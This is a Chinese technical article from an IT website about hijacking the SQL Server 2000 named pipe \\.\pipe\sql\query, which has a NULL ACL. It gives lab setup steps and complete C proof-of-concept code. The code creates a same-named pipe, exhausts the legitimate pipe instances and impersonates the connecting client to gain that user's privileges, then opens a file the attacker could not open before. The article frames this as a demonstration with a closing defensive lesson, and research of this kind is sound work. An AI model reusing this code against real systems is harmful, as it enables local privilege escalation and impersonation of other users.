首页  登陆  注册  博客集  下载频道  网络硬盘  学院论坛  家园
IT学院 网站地图 网站地图
收藏本站 收藏本站
高级搜索 高级搜索
 新闻IT新闻 互联网 微软 黑客新闻 网络网络协议 故障 网络管理 TCP/IP 无线技术 解决方案 黑客技术 漏洞 软件评测 安全资讯
 数据MSsql Oracle Mysql PL/SQL 备份 系统:Linux vista Windows FTP 防火墙 注册表 服务器行情 服务器应用 解决方案 WEB服务器
 墙纸风景壁纸 游戏壁纸 体育壁纸 汽车壁纸 人文壁纸 影视壁纸 广告壁纸 花卉壁纸 节日壁纸 动漫壁纸 明星壁纸 绘画壁纸 月历壁纸
当前位置: > 主页>数据库技术>MSsql >SQL SERVER 2000通讯管道后复用劫持
热门文章排行
 
热门文章排行 巧用触发器对"SQL Serve
SQL Server 2000问答
  问:SQL Server 200
ADO数据访问一点通
SQL Server成为低成本建
SQL Server数据库六种数
SQL Server性能分析参
将ACCESS的转化为SQL SE
拷贝的SQL Server 7数据
优化SQL Server服务器内
精采文章推荐
 
精采文章推荐 SQL Server存储过程入门
SQL的基本操作(1.数据类
SQLMail的原理及实际应
维护SQL Server数据库
简单查询和联合查询两方
怎样用SQL 2000 生成XML
SQL Server 2000的安全
SQL配合3389的一次入侵
SQL SERVER 2000 SP2 12
SQL SERVER 2000通讯管
最新更新文章
 
最新更新文章 SQL Server存储过程入门
用ASP调用SQL的视图和存
SQL的基本操作(4.数据的
SQL的基本操作(3.表的相
SQL的基本操作(2.数据库
SQL的基本操作(1.数据类
SQLMail的原理及实际应
维护SQL Server数据库
配置SQL Server 2000选
Jboss下MS SQL Server配

SQL SERVER 2000通讯管道后复用劫持

编辑:   来源:  日期:2008-02-24   我要投稿      家园

  SQL SERVER 2000通讯中,允许使用有名管道来进行通讯,一般情况下是如此命名的:
  默认实例:\\.\pipe\sql\query
  命名实例:\\.\pipe\MSSQL$instancename\sql\query
  也可以通过1434 UDP进行查询获得这个管道名称
  
  但是由于SQL SERVER 2000对于这个管道的ACL设置为NULL,导致任何用户的权限都可以对这个管道进行劫持,以前的劫持都是利用先停掉服务,再建立这个名字管道,然后再启动服务来复用自己已经建立了名字的管道,但实际上SQL SERVER 2000会判断是否已有同名管道,然后会取别的名字,而且低级权限的用户也启动和停止不了服务(除非是利用一些漏洞),但是实际上对管道的测试却发现:如果ACL设置成NULL的话,即使是后命名的管道,也可以劫持先命令的管道,只需要简单复用管道,然后自己建立几个管道的连接不释放(具体建立几个估计和真正的管道
  建立时的实例个数有关,如在我的测试下,\\.\pipe\sql\query只需要建立1个接可以劫持了,而\\.\pipe\lsass则需要4-5个之后才能劫持。不过\\.\pipe\lsass的ACL只能是管理员才能进行劫持)
  如果攻击者复用了同名管道以后,建立起几个不释放的管道(消耗掉了正常管道的实例),然后再有客户发起的管道连接就进入了攻击者程序的管道监听流程,剩下的就是大家都知道的利用模拟函数获得发起者权限的老生常谈了:
  下面就是一个简单的例子,实现对SQL SERVER 2000管道通讯的劫持
  环境:SQL SERVER 2000+SP2
  WIN2000 SERVER中文版+SP3
  测试流程:
  1。先建立SQL 服务器允许管道通讯,和集成WINDOWS 验证,添加一个具备高权限的允许SQL SERVER登陆的WINDOWS本机帐户,启动SQL SERVER服务
  2。C盘下建立一个TEST.TXT文件,设置ACL为GUEST全部拒绝,其他人都许可
  3。在另外一台机器B上,以添加的可以登陆SQL SERVER的服务器帐户登陆,然后设置客户端网络库只为管道(如果有多个,可能就会是随机选一个连接,而不肯定是管道进行通讯了)
  4。然后用SQL SERVER企业管理器建立一个SQL SERVER的连接,使用集成WINDOWS验证
  5。SQL SERVER这边的机器进入GUEST帐户运行下面C代码的程序,会显示先无法打开TEST.TXT文件,然后进行劫持,等待客户端管道连接
  6。在机器B上,连接SQL SERVER,然后主机A的程序就会截获这个管道扮演高权限登陆用户,然后可以打开先没权限打开的文件。
  
  当然这个攻击本身实际的意义可能不大,因为估计现在SQL SERVER用管道建立通讯的比较少,而且在都允许的情况下,一般会主动选择TCP方式进行连接,但同时说明了:一个缺乏很好ACL保护的管道,也可以用后发复用来进行劫持,这就减少了很多需要先停掉服务或预先预测的难题,在编写服务器端管道应用的时候也必须小心。
  
  SQL SERVER 2000劫持代码
  #include <windows.h>
  #include
  #include
  #include
  
  void main()
  {
  HANDLE pipea;
  FILE * fp;
  DWORD ret;
  DWORD num;
  HANDLE pipeb[100];
  int i;
  int dwSize ;
  char szUser[256];
  DWORD dwNumber = 0;
  //先的测试,在GUEST权限下无法打开此文件
  fp = fopen("C:\\test.txt","w");
  if(fp==NULL)
  printf("now you don't open file;\n");
  //建立起一个同名管道,复用已存在的SQL SERVER的
  pipea = CreateNamedPipe("\\\\.\\pipe\\sql\\query",
  PIPE_ACCESS_DUPLEX,
  PIPE_TYPE_MESSAGE|PIPE_WAIT,
  100,
  2048,
  2048,
  NMPWAIT_USE_DEFAULT_WAIT,
  NULL);
  
  if(pipea ==INVALID_HANDLE_VALUE)
  {
  ret = GetLastError();
  printf("error in createnamedpipe!code=%d\n",ret);
  return;
  }
  //损耗掉其他正常实例
  if(WaitNamedPipe("\\\\.\\pipe\\sql\\query",NMPWAIT_WAIT_FOREVER)==0)
  {
  printf("no this pipe\n");
  return;
  }
  //可以调整个数,SQL SERVER只需要调整一个就可以了
  for(i=0;i<1;i++)
  {
  Sleep(20);
  if((pipeb[i]=CreateFile("\\\\.\\pipe\\sql\\query",GENERIC_WRITE|GENERIC_READ,0,(LPSECURITY_ATTRIBUTES)NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,(HANDLE)NULL))==INVALID_HANDLE_VALUE)
  {
  printf("open pipe failed\n");
  return;
  }
  //WriteFile(pipeb[i],"test1",5,&num,NULL);
  //WriteFile(pipeb[i],"test2",5,&num,NULL);
  }
  //然后等待连接
  ConnectNamedPipe (pipea, NULL);
  ReadFile(pipea, (void *) &dwNumber, 4, &dwSize, NULL);
  //模拟连接进来的用户
  ImpersonateNamedPipeClient (pipea);
  dwSize = 256;
  //获得用户信息
  GetUserName(szUser, &dwSize);
  printf ("Impersonating: %s\n", szUser);
  //然后再测试是否能打开这个文件,证明确实提升了权限
  fp = fopen("C:\\test.txt","w");
  if(fp!=NULL)
  printf("now you can open file\n");
  DisconnectNamedPipe(pipea);
  CloseHandle(pipea);
  for(i=0;i<1;i++)
  CloseHandle(pipeb[i]);
  return;
  }



上一篇:跟我学SQL:使用SQL子选择来合并查询  
下一篇:SQL SERVER 2000 SP2 12命令的溢出攻击实现
 关键字:  
文章评论】 【收藏本文】 【推荐好友】 【打印本文】 【论坛讨论

   相关文章:

   文章评论:(0条)
  
 请留名: 匿名评论   点击查看所有评论
 

  责任编辑:IT学院  声明:刊登此文章是为了传递更多信息,文章内容仅供参考,转载请注明出处。